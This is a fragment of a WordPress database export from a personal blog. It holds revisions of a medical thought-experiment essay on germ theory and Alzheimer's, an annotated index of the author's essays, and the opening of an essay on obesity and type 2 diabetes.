don’t think it’d be possible to go any further, like somehow coming up with antibiotics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alexander Fleming famously came up with penicillin after showing the mold from penicillium killed part of a bacterial culture, but it’d be difficult to grow a bacterial culture as a physician in the 17th century. You’d need the materials, the ability to keep the culture sterile (which is begging the question without germ theory), and, most importantly, the connection between the bacterial culture and the seeds of infection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I certainly don’t think you could get all the way to Koch’s famous postulates, his four criteria for establishing that a given microorganism causes a disease. These are, in case you’ve forgotten from biology class, that&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>The microorganism must be found in abundance in all organisms suffering from the disease, but should not be found in healthy organisms.</li><li>The microorganism must be isolated from a diseased organism and grown in pure culture.</li><li>The cultured microorganism should cause disease when introduced into a healthy organism.</li><li>The microorganism must be reisolated from the inoculated, diseased experimental host and identified as being identical to the original specific causative agent.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Without a microscope or culture, postulates 1, 2, and 4 are literally impossible to establish, no matter how clever you are. There needed to be fundamental advances in glassworking and chemistry in order to make the necessary advances in germ theory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These things are clear in hindsight, but would have been very difficult to tell at the time. It would have been possible to tell that you were lacking some understanding of how exactly infectious diarrhea worked.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, to know that a device for seeing impossibly small creatures and a material that was capable of sustaining their growth was what was necessary to establish that understanding would not be obvious. These advances in technology were necessary for establishing a correct theory of infectious diarrhea, as this thought experiment shows.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>***</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Imagine you’re a neurologist in the year 2022. You notice that your patients sometimes get Alzheimer’s while they’re under your care. You’d like to stop this. You need to figure out what’s causing them to get Alzheimer’s, and then prevent that cause. How do you do so?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, first you’d have to start with the correct theory. If you’re a believer in the misfolded protein theory of Alzheimer’s, you’d likely believe that Alzheimer’s is caused by amyloid beta plaques. The way to prevent or treat Alzheimer’s would then be to remove the plaques or stop them from forming.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not sure at what point you’d realize the misfolded protein theory wasn’t working. Presumably, after several high profile failures of treatments specifically designed to remove amyloid plaques, you’d start to realize that the removal of amyloid plaques doesn’t result in improval of dementia or extension of lifespan. However, it might be difficult to realize that the issue isn’t with the precision or safety of the amyloid plaque treatment, but with the entire idea of the treatment itself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://cdn.substack.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2f595290-3af5-4fa0-8d81-9e4cb4144b5b_650x729.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://cdn.substack.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F2f595290-3af5-4fa0-8d81-9e4cb4144b5b_650x729.jpeg\" alt=\"Alzheimer\'s Disease Insight Report: Current Therapies, Drug Pipeline and  Outlook\" title=\"Alzheimer\'s Disease Insight Report: Current Therapies, Drug Pipeline and  Outlook\"/></a><figcaption>Basically every red and blue shape is working off of a protein-misfolding hypothesis, with the idea that if they can just target the proteins a&nbsp;<em>little</em>&nbsp;better, Alzheimer’s will be cured.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>If you believed in the mitochondrial dysfunction theory of Alzheimer’s, on the other hand, you’d believe that Alzheimer’s is caused by malfunctioning mitochondria. In this theory, the overproduction of reactive oxygen species by malfunctioning or senescent mitochondria causes damage to neurons. The lack of effective treatments to rescue or repair mitochondria would make this a particularly difficult theory to falsify.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, perhaps by some chance you’d be a particularly clever neurologist, and you’d actually be familiar with the correct theory of Alzheimer’s, [...]. You’d extrapolate that [...], and that somehow [...]. This would be pretty close to a correct understanding of Alzheimer’s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’d be difficult to test this theory in people, given that you wouldn’t have access to treatments that could take advantage of this mechanism. However, perhaps you could come up with an experiment that took advantage of a similar mechanism in rats or dogs. In this experiment, you’d [...]. You’d then have to extrapolate these results to humans. This would be difficult, as the often decades long neurodegeneration of humans isn’t all that similar to what happens in rats or dogs in this experiment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I think that’s where your understanding of the causes and prevention of Alzheimer’s would have to end. I don’t think it’d be possible to go any further, like somehow coming up with the most effective treatment for Alzheimer’s, [...]. The discoverer of [...] was only able to come up with it because he had the ability to see the real-time interactions and degeneration of neurons in human brains. This allowed him to test treatments in a way that made the crude model animal experiments of yesteryear quaint and outdated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The fact that [...] is the cause of Alzheimer’s seems clear in hindsight. However, it’s important to note that the theory was not developed in isolation from tools and experimentation. It was the advances in the ability to “see” neurodegeneration in real-time that enabled this important medical discovery. Without it, this discovery would have been impossible, as this thought experiment shows.</p>\n<!-- /wp:paragraph -->','A medical thought experiment','','inherit','closed','closed','','283-revision-v1','','','2022-05-05 15:38:03','2022-05-05 15:38:03','',283,'https://trevorklee.com/?p=284',0,'revision','',0),
(285,1,'2022-05-05 15:39:15','2022-05-05 15:39:15','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2022-05-05 15:39:15','2022-05-05 15:39:15','',22,'https://trevorklee.com/?p=285',0,'revision','',0),
(287,1,'2022-05-27 14:33:11','2022-05-27 14:33:11','<!-- wp:paragraph -->\n<p>Obesity is a really complicated subject. I once had a 3 month long project trying to develop a therapeutic for obesity-related asthma stymied by the graph below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53449213-5882-44b3-935e-a516334bcb7c_500x376.png\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a target=\"_blank\" rel=\"noreferrer noopener\" href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F53449213-5882-44b3-935e-a516334bcb7c_500x376.png\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I was completely unable to explain why obesity-related asthma (which is generally more serious and more treatment-resistant than normal asthma) only seemed to affect obese women, and so I had to give up my proposed therapeutic and <a href=\"http://highwaypharm.com/\">turn to autoimmune diseases</a> instead.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That being said, obesity is also a fascinating and important subject, which is why I keep returning to it. Obesity has become a global epidemic, spreading&nbsp;<a href=\"https://jamanetwork.com/journals/jamapediatrics/fullarticle/2668504\">almost like a disease</a>. It’s&nbsp;<a href=\"https://www.nature.com/articles/ijo201799\">almost</a>&nbsp;always associated with worse health outcomes in a host of different conditions (at least 13, by the CDC’s&nbsp;<a href=\"https://www.cdc.gov/healthyweight/effects/index.html\">count</a>). And, despite our best efforts, we still don’t have a single good answer as to the cause of obesity’s rapid rise in prevalence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this essay, I want to zoom in on a really specific disease that’s heavily associated with obesity: type 2 diabetes. Type 2 diabetes, if you don’t remember, is the type of diabetes that’s associated with insulin resistance, rather than insulin-producing cell destruction (and if you want a brief refresher on insulin and its relation with glucose/blood sugar in general, follow the footnote [1]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, obesity causes diabetes. That much is indisputable.&nbsp;<a href=\"https://jamanetwork.com/journals/jama/article-abstract/195663\">Compared with adults with normal weight, adults with a BMI of 40 or higher had an odds ratio (OR) of 7.37 for diagnosed diabetes</a>, which is comparable to the&nbsp;<a href=\"https://bmccancer.biomedcentral.com/articles/10.1186/s12885-018-5144-5\">odds ratio of ever smoking for lung cancer</a>. Furthermore, we can see that there’s a direct correlation of weight (and more specifically,&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1016/j.jpeds.2005.10.001\">waist circumference</a>) with insulin resistance, which leads directly to type 2 diabetes. Basically, if you’re obese, type 2 diabetes is a really serious health risk, and one of the main causes for early mortality of obese people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When we look into why this happens, however, things get a lot murkier. Part of the problem is that a lot of things happen when a person becomes obese like growth of fat cells,&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5507106/\">an increase in body-wide inflammation</a>, and&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7333005/\">a change in the microbiome</a>. You could conceivably link all of these to insulin resistance (and people have), although none of them have an easy mechanical link in the same way as, say, obesity and high blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead of pursuing difficult-to-falsify correlative chains, though, let’s approach the same problem from a different angle. Instead of asking why obesity causes type 2 diabetes, let’s ask how we could reverse type 2 diabetes, and see if that gives us any ideas about the cause. Once we do so, we’ll see that things get really weird.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, weight gain causes insulin resistance which causes type 2 diabetes. Naively then, we might think the best way to reverse type 2 diabetes would be weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, funnily enough, that actually works. Every successful method of weight loss that I’m aware of results in at least a temporary drop in insulin resistance and a temporary cessation of the need for type 2 diabetics to use insulin. This includes&nbsp;<a href=\"https://journals.lww.com/co-clinicalnutrition/Abstract/2020/07000/Insulin_resistance_in_bariatric_surgery.7.aspx\">bariatric surgery</a>,&nbsp;<a href=\"https://www.sciencedirect.com/science/article/abs/pii/0002934388905001\">fasting</a>,&nbsp;<a href=\"https://diabetesjournals.org/diabetes/article/58/12/2741/23632/Low-Fat-Versus-Low-Carbohydrate-Weight-Reduction\">eating at a caloric deficit from a low-carb or low calorie diet</a>, and&nbsp;<a href=\"https://academic.oup.com/jcem/article/104/9/4078/5423568?login=true\">the GLP-agonist semaglutide</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s the weird part, though. For every one of those methods that there’s data for, the drop in insulin resistance occurs&nbsp;<em>before</em>&nbsp;the vast majority of the weight loss. For example, the below graphs are from a paper showing&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1381/0960892053723402\">the effects of Roux-en-Y Gastric Bypass surgery on obese diabetics and non diabetics</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F927cb862-a5ac-4023-bbbb-4f873ecaf30f_844x904.png\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a target=\"_blank\" rel=\"noreferrer noopener\" href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F927cb862-a5ac-4023-bbbb-4f873ecaf30f_844x904.png\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F86cdb66f-ae1a-45e3-b564-fd390256b6bc_832x762.png\" alt=\"\"/></figure>\n<!-- 